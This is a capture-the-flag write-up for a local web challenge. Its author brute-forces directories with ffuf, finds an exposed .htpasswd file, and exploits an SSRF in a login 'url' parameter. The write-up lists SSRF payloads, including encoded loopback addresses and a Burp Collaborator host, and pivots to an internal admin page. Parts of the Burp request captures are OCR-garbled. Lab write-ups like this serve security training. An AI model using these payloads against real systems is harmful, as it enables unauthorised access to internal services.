
Challenge link: https://github.com/kaufland-ecommerce-security/web-challenge FLAG: https://github.com/kaufland-ecommerce-security/web-challenge https://github.com

Solution:

The service is available on your host machine at http://localhost:5001

http://localhost:5001/



On running ffuf for directory brute forcing found some interesting files ./ffuf -w common.txt -u http://localhost:5001/FUZZ -fs 153

```
navdeep@navdeeps:~/Desktop$ ./ffuf -w common.txt -u http://localhost:5001/FUZZ -fs 153
      v2.0.0
:: Method
                    : GET
                     : http://localhost:5001/FUZZ
:: URL
:: Wordlist
                     : FUZZ: /home/navdeep/Desktop/common.txt
:: Follow redirects : false
:: Calibration
                    : false
:: Timeout
                     : 10
:: Threads
                     : 40
:: Matcher
                     : Response status: 200,204,301,302,307,401,403,405,500
:: Filter
                    : Response size: 153
[Status: 200, Size: 32, Words: 1, Lines: 2, Duration: 2ms]
    * FUZZ: .htpasswd
[Status: 401, Size: 179, Words: 5, Lines: 8, Duration: Oms]
    * FUZZ: login
[Status: 401, Size: 179, Words: 5, Lines: 8, Duration: Oms]
    * FUZZ: logins
[Status: 401, Size: 179, Words: 5, Lines: 8, Duration: Oms]
    * FUZZ: login_sendpass
[Status: 401, Size: 179, Words: 5, Lines: 8, Duration: Oms]
    * FUZZ: login_db
[Status: 401, Size: 179, Words: 5, Lines: 8, Duration: Oms]
    * FUZZ: loginadmin
[Status: 401, Size: 179, Words: 5, Lines: 8, Duration: Oms]
    * FUZZ: login-redirect
[Status: 401, Size: 179, Words: 5, Lines: 8, Duration: Oms]
    * FUZZ: login1
[Status: 401, Size: 179, Words: 5, Lines: 8, Duration: Oms]
    * FUZZ: login-us
[Status: 401, Size: 179, Words: 5, Lines: 8, Duration: Oms]
    * FUZZ: loginflat
```


I got a .htpasswd file which contains some username and password http://localhost:5001/.htpasswd

htpasswd is used to create and update the flat-files used to store usernames and password for basic authentication of HTTP users.



First, Apache does **not** default to preventing access to either of these files. Many distributions of Apache httpd include initial configuration which prevents access (using "Deny from all" rules) to, depending on the distribution, .htaccess/.htpasswd files, .ht* files, or .* files. It is very common, but there are plenty of reasons why this may not be the case. You can add a rule yourself to block these files, if they are not already blocked.


On running ffuf I got to know there is a login portal using /login path, the status code was different.



Here you can enter a url using the input box which is fishy since if it's not properly configured there might be an SSRF vulnerability.

The server to make a connection to internal-only services within the organization's infrastructure. In other cases, they may be able to force the server to connect to arbitrary external systems, potentially leaking sensitive data such as authorization credentials.

http://localhost:5001/login?url=http://google.com





Not good



Not good

Here are SSRF payloads that I used to check: https://pravinponnusamy.medium.com/ssrf-payloads-f09b2a86a8b4

127.0.0.1 2130706433 017700000001 spoofed.burpcollaborator.net http://0177.0.0.1/

Request ^	Payload	Status	Error	Timeout	Length	Comment	
)		304			171		
	127.0.0.1	304			171		
2	2130706433	304			171		
3	017700000001	304			171		
ļ	spoofed.burpcollaborator.net						
5	http://0177.0.0.1/	304			171		
Request							
Pretty F	Raw Hex						
1 GET /login?url=http://spoofed.burpcollaborator.net HTTP/1.1							
2 Host: localhost:5001 3 Cache-Control: max-age=0							
4 Authorization: Basic a2F1ZmxhbmQ6cEFzc1dvcmRvJkBkem9v							
5 sec-ch-ua: "Chromium";v="111", "Not(A:Brand";v="8"							
6 sec-ch-ua-mobile: ?0 7 sec-ch-ua-platform: "macOS"							
/ Sec-ciua-ptation macos 8 Upgrade-Insecure-Requests: 1							
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.111 Safa							
0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/si							
1 Sec-Fetch-Site: none 2 Sec-Fetch-Mode: navigate							
	:h-User: ?1						
	h-Dest: document						
5 Accept-Encoding: gzip, deflate 6 Accept-Language: en-GB,en-US;q=0.9,en;q=0.8							
7 Cookie: csrftoken=sUgoB3PwcnQEoz63ownw2rnnJFRSFMfG8Z3RVgXJmJK6uyvaLDyaJIQAgzgYzIQQ							
.8 If-None-Match: W/"8-02bmdb0eJQisbpI6+3FyFqlizos"							

Since it gave ping on burp collaborator it was confirmed that there is SSRF vulnerability

```
Target: http://localhost:5001

✓ Update Host header to match target

1 GET /login?url=http://spoofed.burpcollaborator.net:§1§ HTTP/1.1

2 Host: localhost:5001

3 Cache-Control: max-age=0

4 Authorization: Basic a2F1ZmxhbmQ6cEFzcldvcmRvJkBkem9v

5 sec-ch-ua: "Chromium";v="111", "Not(A:Brand";v="8"

6 sec-ch-ua-ambile: ?0

7 sec-ch-ua-platform: "macOS"

8 Upgrade-Insecure-Requests: 1

9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.111

Safari/537.36

10 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exch ange;y=b3;q=0.7

1 Sec-Fetch-Sotie: none

12 Sec-Fetch-Bode: navigate

13 Sec-Fetch-Bode: navigate

14 Sec-Fetch-Bode: navigate

15 Accept-Encoding: gzip, deflate

16 Accept-Language: en-GB.en-U5;q=0.9,en;q=0.8

17 Cookie: csrffoken=sUgoB3PkcnQEozG3ownw2rnnJFRSFMfG8Z3RVgXJmJK6uyvaLDyaJIQAgzgYzIQQ

18 If-None-Match: W/"8-02bmdb0eJQisbpI6+3FyFqlizos"

19 Coonection: close
```

During the Docker build, something fishy was logged which gave a hint there might be 5000 port open and some applications might be hosted.

However, If this hint was not there I would brute force all the ports to check, it would have consumed little more time but I would have got the same results.

```
Starting app_nginx ... done

Starting web-challenge_web_1 ... done

Attaching to web-challenge_web_1, app_nginx

web_1 | Web application is listening on port 5000

app_nginx | /docker-entrypoint.sh: /docker-entrypoint.d/ is not empty, will attempt to perform configuration

app_nginx | /docker-entrypoint.sh: Looking for shell scripts in /docker-entrypoint.d/

app_nginx | /docker-entrypoint.sh: Launching /docker-entrypoint.d/10-listen-on-ipv6-by-default.sh

app_nginx | 10-listen-on-ipv6-by-default.sh: info: /etc/nginx/conf.d/default.conf differs from the packaged version

app_nginx | /docker-entrypoint.sh: Launching /docker-entrypoint.d/20-envsubst-on-templates.sh

app_nginx | /docker-entrypoint.sh: Launching /docker-entrypoint.d/30-tune-worker-processes.sh

app_nginx | /docker-entrypoint.sh: Configuration complete; ready for start up

app_nginx | 2023/03/28 10:06:08 [notice] 1#1: using the "epoll" event method

app_nginx | 2023/03/28 10:06:08 [notice] 1#1: built by gcc 10.2.1 20210110 (Debian 10.2.1-6)

app_nginx | 2023/03/28 10:06:08 [notice] 1#1: OS: Linux 5.19.0-32-qeneric
```

```
• •
Request
                                                                                                                   Response
                                                                                              <u></u> η \n ≡
                                                                                                                                                                                                                  📻 \n =
              Raw Hex
                                                                                                                   Pretty Raw Hex Render
 1 GET /login?url=http://spoofed.burpcollaborator.net:5000/login
HTTP/1.1
                                                                                                                     1 HTTP/1.1 200 OK
                                                                                                                    2 Server: nginx/1.23.3
3 Date: Tue, 28 Mar 2023 09:59:00 GMT
4 Content-Type: text/html; charset=utf-8
5 Content-Length: 3368
2 host: tocatings: 3001
3 Cache-Control: max-age=0
4 Authorization: Basic a2F1ZmxhbmQ6cEFzc1dvcmRvJkBkem9v
5 sec-ch-ua: "Chromium";v="111", "Not(A:Brand";v="8"
6 sec-ch-ua-mobile: ?0
                                                                                                                    6 Connection: close
7 X-Powered-By: Express
8 ETag: W/"d28-h8DM8lTafXIxdngNg3i2YIWJt/E"
  sec-ch-ua-platform: "macOS"
 8 Upgrade-Insecure-Requests: 1
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
                                                                                                                   10 <html>
   AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.111
   Safari/537.36
  text/ntml.application/xhtml+xml.application/xml;q=0.9.image/avif
,image/webp.image/apng.*/*;q=0.8.application/signed-exchange;v=b
3:q=0.7
                                                                                                                               @importurl("https://rsms.me/inter/inter.css");
  Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
                                                                                                                                 --color-dark:#212121;
--color-signal:#fab700;
  Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
                                                                                                                                  --color-background:var(--color-light);
--color-text:var(--color-dark);
                                                                                                                                  --color-accent:var(--color-signal);
 7 Cookie: csrftoken=
    sUgoB3PwcnQEoz63ownw2rnnJFRSFMfG8Z3RVgXJmJK6uyvaLDyaJIQAgzgYzIQQ
8 If-None-Match: W/"8-02bmdb0eJQisbpI6+3FyFqlizos"
  Connection: close
                                                                                                                                  font-family:"Inter",sans-serif;
                                                                                                                                 color:var(--color-text);
background:var(--color-background);
```

So the flag was hidden on /admin page of http://localhost:5000

